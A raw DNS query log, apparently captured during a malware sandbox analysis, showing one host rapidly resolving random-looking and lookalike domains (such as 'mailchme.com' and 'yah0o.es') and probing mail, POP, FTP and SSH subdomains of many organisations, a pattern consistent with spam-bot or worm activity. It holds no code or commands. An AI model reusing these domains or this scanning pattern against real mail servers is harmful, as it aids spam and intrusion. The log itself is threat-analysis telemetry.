Dec 2, 2023 18:04:32.389117956 CET	192.168.2.7	1.1.1.1	0x3f1d	Standard query (0)	limit8design.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.389422894 CET	192.168.2.7	1.1.1.1	0xdbbc	Standard query (0)	gotcf.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.390016079 CET	192.168.2.7	1.1.1.1	0x794a	Standard query (0)	delightfulhouses.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.390554905 CET	192.168.2.7	1.1.1.1	0xa210	Standard query (0)	ezdesign.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.391704082 CET	192.168.2.7	1.1.1.1	0xfbfe	Standard query (0)	crbj.org.il	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.391704082 CET	192.168.2.7	1.1.1.1	0xed90	Standard query (0)	ancoracenter.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.392438889 CET	192.168.2.7	1.1.1.1	0x957b	Standard query (0)	ersvp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.392592907 CET	192.168.2.7	1.1.1.1	0xf9a9	Standard query (0)	zadaca.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.393573999 CET	192.168.2.7	1.1.1.1	0xe3cd	Standard query (0)	databul.com.tr	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.393790960 CET	192.168.2.7	1.1.1.1	0x88a3	Standard query (0)	reqifgccowel.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.394208908 CET	192.168.2.7	1.1.1.1	0x70bc	Standard query (0)	ldrshipcoach.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:33.246697903 CET	192.168.2.7	1.1.1.1	0xf8c4	Standard query (0)	326188.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:33.246932030 CET	192.168.2.7	1.1.1.1	0xfbfe	Standard query (0)	crbj.org.il	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:33.246932030 CET	192.168.2.7	1.1.1.1	0x32b	Standard query (0)	crbj.org.il	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.422692060 CET	192.168.2.7	1.1.1.1	0xf956	Standard query (0)	winit.co.il	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.590884924 CET	192.168.2.7	1.1.1.1	0xba9d	Standard query (0)	strokin.info	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:34.471896887 CET	192.168.2.7	1.1.1.1	0xfbfe	Standard query (0)	crbj.org.il	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:36.659732103 CET	192.168.2.7	1.1.1.1	0xec5	Standard query (0)	mailchme.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.524211884 CET	192.168.2.7	1.1.1.1	0x7663	Standard query (0)	jqpgnp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.536401987 CET	192.168.2.7	1.1.1.1	0xda93	Standard query (0)	tkzttitrygbx.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.538497925 CET	192.168.2.7	1.1.1.1	0x475f	Standard query (0)	dieihuyz.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.538497925 CET	192.168.2.7	1.1.1.1	0x2721	Standard query (0)	ldrshipcoach.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.538497925 CET	192.168.2.7	1.1.1.1	0x614e	Standard query (0)	kfysyscc.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.539026022 CET	192.168.2.7	1.1.1.1	0x2866	Standard query (0)	reqifgccowel.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.539026022 CET	192.168.2.7	1.1.1.1	0xc56a	Standard query (0)	egddtd.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.541148901 CET	192.168.2.7	1.1.1.1	0xb8ef	Standard query (0)	enchanteddesignsanmore.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.583132982 CET	192.168.2.7	1.1.1.1	0x22b2	Standard query (0)	knpzwm.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.584749937 CET	192.168.2.7	1.1.1.1	0x7b1b	Standard query (0)	ASPMX.L.GOOGLE.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.584749937 CET	192.168.2.7	1.1.1.1	0x9c84	Standard query (0)	delightfulhouses-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.584749937 CET	192.168.2.7	1.1.1.1	0xf866	Standard query (0)	luminous-path.de	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.586445093 CET	192.168.2.7	1.1.1.1	0x2e08	Standard query (0)	volodin.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.587403059 CET	192.168.2.7	1.1.1.1	0x6a6a	Standard query (0)	xfuainui.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.588536978 CET	192.168.2.7	1.1.1.1	0xff8d	Standard query (0)	mail.b-io.co	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.588536978 CET	192.168.2.7	1.1.1.1	0xc59a	Standard query (0)	mxbiz1.qq.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.594501019 CET	192.168.2.7	1.1.1.1	0x68da	Standard query (0)	lrrcenter-org.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.595201969 CET	192.168.2.7	1.1.1.1	0x473e	Standard query (0)	ancoracenter-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.596292019 CET	192.168.2.7	1.1.1.1	0x9e2f	Standard query (0)	mx1.123-reg.co.uk	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.597181082 CET	192.168.2.7	1.1.1.1	0xb606	Standard query (0)	mx00.schlund.de	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.597181082 CET	192.168.2.7	1.1.1.1	0x5bd5	Standard query (0)	mx1.privateemail.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.597181082 CET	192.168.2.7	1.1.1.1	0xd0a4	Standard query (0)	mx20.antispam.mailspamprotection.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.598583937 CET	192.168.2.7	1.1.1.1	0x614f	Standard query (0)	zadaca-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.598583937 CET	192.168.2.7	1.1.1.1	0x4e8b	Standard query (0)	hldxxjgzeopbcgaagmail.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.600727081 CET	192.168.2.7	1.1.1.1	0x5ba0	Standard query (0)		256	256	false
Dec 2, 2023 18:04:37.633436918 CET	192.168.2.7	1.1.1.1	0xe811	Standard query (0)	axtkmooehtnfekmooefv.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.687572956 CET	192.168.2.7	1.1.1.1	0xb5ae	Standard query (0)	_dc-mx.99f8f4cf799e.ape4jewelry.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.696374893 CET	192.168.2.7	1.1.1.1	0xc28e	Standard query (0)	smtpin.rzone.de	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.697845936 CET	192.168.2.7	1.1.1.1	0x8cd	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.700166941 CET	192.168.2.7	1.1.1.1	0x4dad	Standard query (0)	msnal.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.700166941 CET	192.168.2.7	1.1.1.1	0x31fe	Standard query (0)	parisienne-moonlight.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.702116966 CET	192.168.2.7	1.1.1.1	0x29b8	Standard query (0)	arsonsisi-com-tr.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.702116966 CET	192.168.2.7	1.1.1.1	0x7d02	Standard query (0)	yah0o.es	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.702116966 CET	192.168.2.7	1.1.1.1	0x780e	Standard query (0)	mwbgw1.ocn.ad.jp	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.704447031 CET	192.168.2.7	1.1.1.1	0xb9a0	Standard query (0)	pop.maksimp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.706412077 CET	192.168.2.7	1.1.1.1	0x7520	Standard query (0)	mail.vanweissenbruch.nl	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.706412077 CET	192.168.2.7	1.1.1.1	0x5e14	Standard query (0)	mail.msnal.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.710634947 CET	192.168.2.7	1.1.1.1	0x19c1	Standard query (0)	mail.yah0o.es	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.710634947 CET	192.168.2.7	1.1.1.1	0xc7cd	Standard query (0)	mail.hope-mail.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.712191105 CET	192.168.2.7	1.1.1.1	0x2e9a	Standard query (0)	alt4.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.712246895 CET	192.168.2.7	1.1.1.1	0xa02f	Standard query (0)	mailgate.maksimp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.712996006 CET	192.168.2.7	1.1.1.1	0xc3c8	Standard query (0)	mail.yabeetowel.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.713804960 CET	192.168.2.7	1.1.1.1	0x8ca9	Standard query (0)	mail.yekai.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.714597940 CET	192.168.2.7	1.1.1.1	0xa6bc	Standard query (0)	lsacwbij.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.715193033 CET	192.168.2.7	1.1.1.1	0xd974	Standard query (0)	mxw.263.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.715739012 CET	192.168.2.7	1.1.1.1	0xd50a	Standard query (0)	pop.giannicastellani.it	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.715951920 CET	192.168.2.7	1.1.1.1	0xa140	Standard query (0)	mail.yes163.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.717520952 CET	192.168.2.7	1.1.1.1	0x85c9	Standard query (0)	relay.takin-co.ir	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.717520952 CET	192.168.2.7	1.1.1.1	0x6a4	Standard query (0)	relay.yekai.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.717520952 CET	192.168.2.7	1.1.1.1	0xe7b2	Standard query (0)	pop.takin-co.ir	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.718394995 CET	192.168.2.7	1.1.1.1	0xf2e4	Standard query (0)	pop3.maksimp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.721942902 CET	192.168.2.7	1.1.1.1	0x39ce	Standard query (0)	omdhggzx.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.721942902 CET	192.168.2.7	1.1.1.1	0xb21f	Standard query (0)	mx.263.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.721942902 CET	192.168.2.7	1.1.1.1	0x461b	Standard query (0)	mail.giannicastellani.it	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.723543882 CET	192.168.2.7	1.1.1.1	0x8f39	Standard query (0)	relay.maksimp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.724286079 CET	192.168.2.7	1.1.1.1	0x926a	Standard query (0)	mail.maksimp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.724286079 CET	192.168.2.7	1.1.1.1	0x8491	Standard query (0)	mwbgw2.ocn.ad.jp	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.726972103 CET	192.168.2.7	1.1.1.1	0x2aca	Standard query (0)	mx0.123-reg.co.uk	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.730195045 CET	192.168.2.7	1.1.1.1	0xd88	Standard query (0)	alt3.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.730195045 CET	192.168.2.7	1.1.1.1	0x696	Standard query (0)	mail.lsacwbij.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.734224081 CET	192.168.2.7	1.1.1.1	0xf52	Standard query (0)	mx30.antispam.mailspamprotection.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.735240936 CET	192.168.2.7	1.1.1.1	0xbe4	Standard query (0)	ftp.dieihuyz.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.735862017 CET	192.168.2.7	1.1.1.1	0x3853	Standard query (0)	ftp.yah0o.es	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.735862017 CET	192.168.2.7	1.1.1.1	0x3897	Standard query (0)	ftp.tkzttitrygbx.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.737418890 CET	192.168.2.7	1.1.1.1	0xf6cd	Standard query (0)	ftp.hldxxjgzeopbcgaagmail.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.738370895 CET	192.168.2.7	1.1.1.1	0xc4e0	Standard query (0)	gotcf.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.738370895 CET	192.168.2.7	1.1.1.1	0xb2b8	Standard query (0)	mail.airanatoliava.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.739440918 CET	192.168.2.7	1.1.1.1	0x978f	Standard query (0)	ALT1.ASPMX.L.GOOGLE.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.740801096 CET	192.168.2.7	1.1.1.1	0x8e91	Standard query (0)	mx2.privateemail.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.741619110 CET	192.168.2.7	1.1.1.1	0x7ed7	Standard query (0)	pop.parisienne-moonlight.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.742012024 CET	192.168.2.7	1.1.1.1	0xb5d5	Standard query (0)	ftp.luminous-path.de	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.747351885 CET	192.168.2.7	1.1.1.1	0x4622	Standard query (0)	mailgate.untitled.ws	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.749803066 CET	192.168.2.7	1.1.1.1	0x3d71	Standard query (0)	mailgate.takin-co.ir	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.750071049 CET	192.168.2.7	1.1.1.1	0xc056	Standard query (0)	pop.donankohatsu.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.751301050 CET	192.168.2.7	1.1.1.1	0x3d7b	Standard query (0)	smtp.yekai.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.751301050 CET	192.168.2.7	1.1.1.1	0xbf5	Standard query (0)	_dc-mx.33dbbb6f819b.escortracing.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.754184961 CET	192.168.2.7	1.1.1.1	0xf900	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.754184961 CET	192.168.2.7	1.1.1.1	0xbb20	Standard query (0)	mail.verer.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.754184961 CET	192.168.2.7	1.1.1.1	0xe91f	Standard query (0)	yeehop.com.hk	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.903656006 CET	192.168.2.7	1.1.1.1	0xe2f0	Standard query (0)	mail.zlig.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.903656006 CET	192.168.2.7	1.1.1.1	0xe46c	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.904426098 CET	192.168.2.7	1.1.1.1	0xc4a0	Standard query (0)	pop.xfuainui.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.904426098 CET	192.168.2.7	1.1.1.1	0xf170	Standard query (0)	ssh.volodin.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.904930115 CET	192.168.2.7	1.1.1.1	0x8a49	Standard query (0)	www.lrrcenter.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.906089067 CET	192.168.2.7	1.1.1.1	0x3223	Standard query (0)	mail.xfuainui.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.906089067 CET	192.168.2.7	1.1.1.1	0x583e	Standard query (0)	www.ersvp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.907871008 CET	192.168.2.7	1.1.1.1	0x1b1c	Standard query (0)	pop.enchanteddesignsanmore.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.907871008 CET	192.168.2.7	1.1.1.1	0xc072	Standard query (0)	www.trb61.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.910660982 CET	192.168.2.7	1.1.1.1	0x29f2	Standard query (0)	ftp.lrrcenter.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.912230015 CET	192.168.2.7	1.1.1.1	0xb84d	Standard query (0)	www.yabeetowel.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.912230015 CET	192.168.2.7	1.1.1.1	0x88fa	Standard query (0)	ALT2.ASPMX.L.GOOGLE.COM	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.912741899 CET	192.168.2.7	1.1.1.1	0xec6c	Standard query (0)	ftp.maksimp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.913304090 CET	192.168.2.7	1.1.1.1	0xc74	Standard query (0)	ftp.b-rose.de	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.915119886 CET	192.168.2.7	1.1.1.1	0x5e74	Standard query (0)	www.wisnuwardhana.ac.id	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.915119886 CET	192.168.2.7	1.1.1.1	0xd438	Standard query (0)	ssh.b-rose.de	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.069557905 CET	192.168.2.7	1.1.1.1	0x614e	Standard query (0)	kfysyscc.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.075628042 CET	192.168.2.7	1.1.1.1	0x277e	Standard query (0)	ssh.tkzttitrygbx.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.273106098 CET	192.168.2.7	1.1.1.1	0x8ca9	Standard query (0)	mail.yekai.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.273189068 CET	192.168.2.7	1.1.1.1	0xc3c8	Standard query (0)	mail.yabeetowel.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.274359941 CET	192.168.2.7	1.1.1.1	0xd50a	Standard query (0)	pop.giannicastellani.it	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.274359941 CET	192.168.2.7	1.1.1.1	0x461b	Standard query (0)	mail.giannicastellani.it	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.284347057 CET	192.168.2.7	1.1.1.1	0xc056	Standard query (0)	pop.donankohatsu.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.284347057 CET	192.168.2.7	1.1.1.1	0x3d71	Standard query (0)	mailgate.takin-co.ir	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.290077925 CET	192.168.2.7	1.1.1.1	0xe2cd	Standard query (0)	mail.enchanteddesignsanmore.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.298583031 CET	192.168.2.7	1.1.1.1	0x39a6	Standard query (0)	ssh.lsacwbij.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.355987072 CET	192.168.2.7	1.1.1.1	0xaaef	Standard query (0)	ssh.dieihuyz.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.374581099 CET	192.168.2.7	1.1.1.1	0x5725	Standard query (0)	pop.lsacwbij.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.376420975 CET	192.168.2.7	1.1.1.1	0x8e40	Standard query (0)	yelena.strokin.info	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.437052011 CET	192.168.2.7	1.1.1.1	0xb84d	Standard query (0)	www.yabeetowel.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.437052011 CET	192.168.2.7	1.1.1.1	0x5e74	Standard query (0)	www.wisnuwardhana.ac.id	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.443259954 CET	192.168.2.7	1.1.1.1	0xdd2a	Standard query (0)	ssh.mailchme.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.468586922 CET	192.168.2.7	1.1.1.1	0x51bc	Standard query (0)	ftp.mailchme.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:39.112066984 CET	192.168.2.7	1.1.1.1	0x614e	Standard query (0)	kfysyscc.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:39.234993935 CET	192.168.2.7	1.1.1.1	0xde07	Standard query (0)	ftp.xfuainui.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:39.731909037 CET	192.168.2.7	1.1.1.1	0x3a74	Standard query (0)	www.yel168.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:39.732538939 CET	192.168.2.7	1.1.1.1	0x7894	Standard query (0)	weiberg.jimdo.de	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:39.767822981 CET	192.168.2.7	1.1.1.1	0xcd54	Standard query (0)	www.stylishsoiree.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:39.843728065 CET	192.168.2.7	1.1.1.1	0x488d	Standard query (0)	silverbarnjewelry.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.006239891 CET	192.168.2.7	1.1.1.1	0xd328	Standard query (0)	enizi.ir	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.031630993 CET	192.168.2.7	1.1.1.1	0x8de7	Standard query (0)	pop.zlig.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.072319984 CET	192.168.2.7	1.1.1.1	0x7ca7	Standard query (0)	ftp.ldrshipcoach.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.110728979 CET	192.168.2.7	1.1.1.1	0x83ac	Standard query (0)	imap.yekai.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.110728979 CET	192.168.2.7	1.1.1.1	0xdc51	Standard query (0)	www.zadaca.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.136286020 CET	192.168.2.7	1.1.1.1	0xdbd0	Standard query (0)	datascope.co.uk	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.187632084 CET	192.168.2.7	1.1.1.1	0xe246	Standard query (0)	www.domeinplein.nl	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.331964970 CET	192.168.2.7	1.1.1.1	0x5cc7	Standard query (0)	pop3.parisienne-moonlight.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.332629919 CET	192.168.2.7	1.1.1.1	0x964a	Standard query (0)	pop.yes163.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.464441061 CET	192.168.2.7	1.1.1.1	0xfef6	Standard query (0)	ftp.reqifgccowel.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.484481096 CET	192.168.2.7	1.1.1.1	0xfe49	Standard query (0)	ftp.knpzwm.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.613181114 CET	192.168.2.7	1.1.1.1	0xabe4	Standard query (0)	ftp.axtkmooehtnfekmooefv.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.616537094 CET	192.168.2.7	1.1.1.1	0x83ac	Standard query (0)	imap.yekai.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.618787050 CET	192.168.2.7	1.1.1.1	0xfaf9	Standard query (0)	ftp.enchanteddesignsanmore.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.652539968 CET	192.168.2.7	1.1.1.1	0x311	Standard query (0)	ssh.omdhggzx.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.653264046 CET	192.168.2.7	1.1.1.1	0x9547	Standard query (0)	ftp.parisienne-moonlight.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.659004927 CET	192.168.2.7	1.1.1.1	0xb2b2	Standard query (0)	ftp.jqpgnp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.662306070 CET	192.168.2.7	1.1.1.1	0x52f4	Standard query (0)	mail.parisienne-moonlight.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.671627998 CET	192.168.2.7	1.1.1.1	0x8190	Standard query (0)	pop3.giannicastellani.it	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.697762966 CET	192.168.2.7	1.1.1.1	0x2723	Standard query (0)	ftp.gotcf.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.698587894 CET	192.168.2.7	1.1.1.1	0x56d	Standard query (0)	mail.hldxxjgzeopbcgaagmail.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.708395004 CET	192.168.2.7	1.1.1.1	0xdf76	Standard query (0)	mail.mailchme.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.708832979 CET	192.168.2.7	1.1.1.1	0xcc13	Standard query (0)	ftp.egddtd.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.710833073 CET	192.168.2.7	1.1.1.1	0x4093	Standard query (0)	mail.omdhggzx.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.711354971 CET	192.168.2.7	1.1.1.1	0x69f9	Standard query (0)	ssh.hldxxjgzeopbcgaagmail.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.715215921 CET	192.168.2.7	1.1.1.1	0x9115	Standard query (0)	www.creativepursuitsco.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.722218037 CET	192.168.2.7	1.1.1.1	0x882c	Standard query (0)	ftp.msnal.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.790887117 CET	192.168.2.7	1.1.1.1	0x59cb	Standard query (0)	pop3.enchanteddesignsanmore.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.797821999 CET	192.168.2.7	1.1.1.1	0xb89c	Standard query (0)	ssh.parisienne-moonlight.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.801594019 CET	192.168.2.7	1.1.1.1	0xfea2	Standard query (0)	ssh.xfuainui.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.849328041 CET	192.168.2.7	1.1.1.1	0x17b1	Standard query (0)	weiberg.jimdo.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.852868080 CET	192.168.2.7	1.1.1.1	0x6c5e	Standard query (0)	ftp.volodin.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.862462044 CET	192.168.2.7	1.1.1.1	0x3532	Standard query (0)	mail.ldrshipcoach.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.863401890 CET	192.168.2.7	1.1.1.1	0xa8ea	Standard query (0)	mail.knpzwm.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.863401890 CET	192.168.2.7	1.1.1.1	0x6246	Standard query (0)	mail.luminous-path.de	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.864073992 CET	192.168.2.7	1.1.1.1	0xc474	Standard query (0)	mail.tkzttitrygbx.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.864073992 CET	192.168.2.7	1.1.1.1	0xf1f9	Standard query (0)	mail.reqifgccowel.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.865989923 CET	192.168.2.7	1.1.1.1	0xa8e3	Standard query (0)	mail.egddtd.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.866847038 CET	192.168.2.7	1.1.1.1	0x8db8	Standard query (0)	ftp.yeehop.com.hk	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.868525982 CET	192.168.2.7	1.1.1.1	0x6edf	Standard query (0)	mail.dieihuyz.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.871226072 CET	192.168.2.7	1.1.1.1	0xaea5	Standard query (0)	ssh.yah0o.es	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.872855902 CET	192.168.2.7	1.1.1.1	0x36c8	Standard query (0)	ssh.axtkmooehtnfekmooefv.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.883162022 CET	192.168.2.7	1.1.1.1	0xa625	Standard query (0)	mail.axtkmooehtnfekmooefv.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.207490921 CET	192.168.2.7	1.1.1.1	0x8190	Standard query (0)	pop3.giannicastellani.it	A (IP address)	IN (0x0001)	false
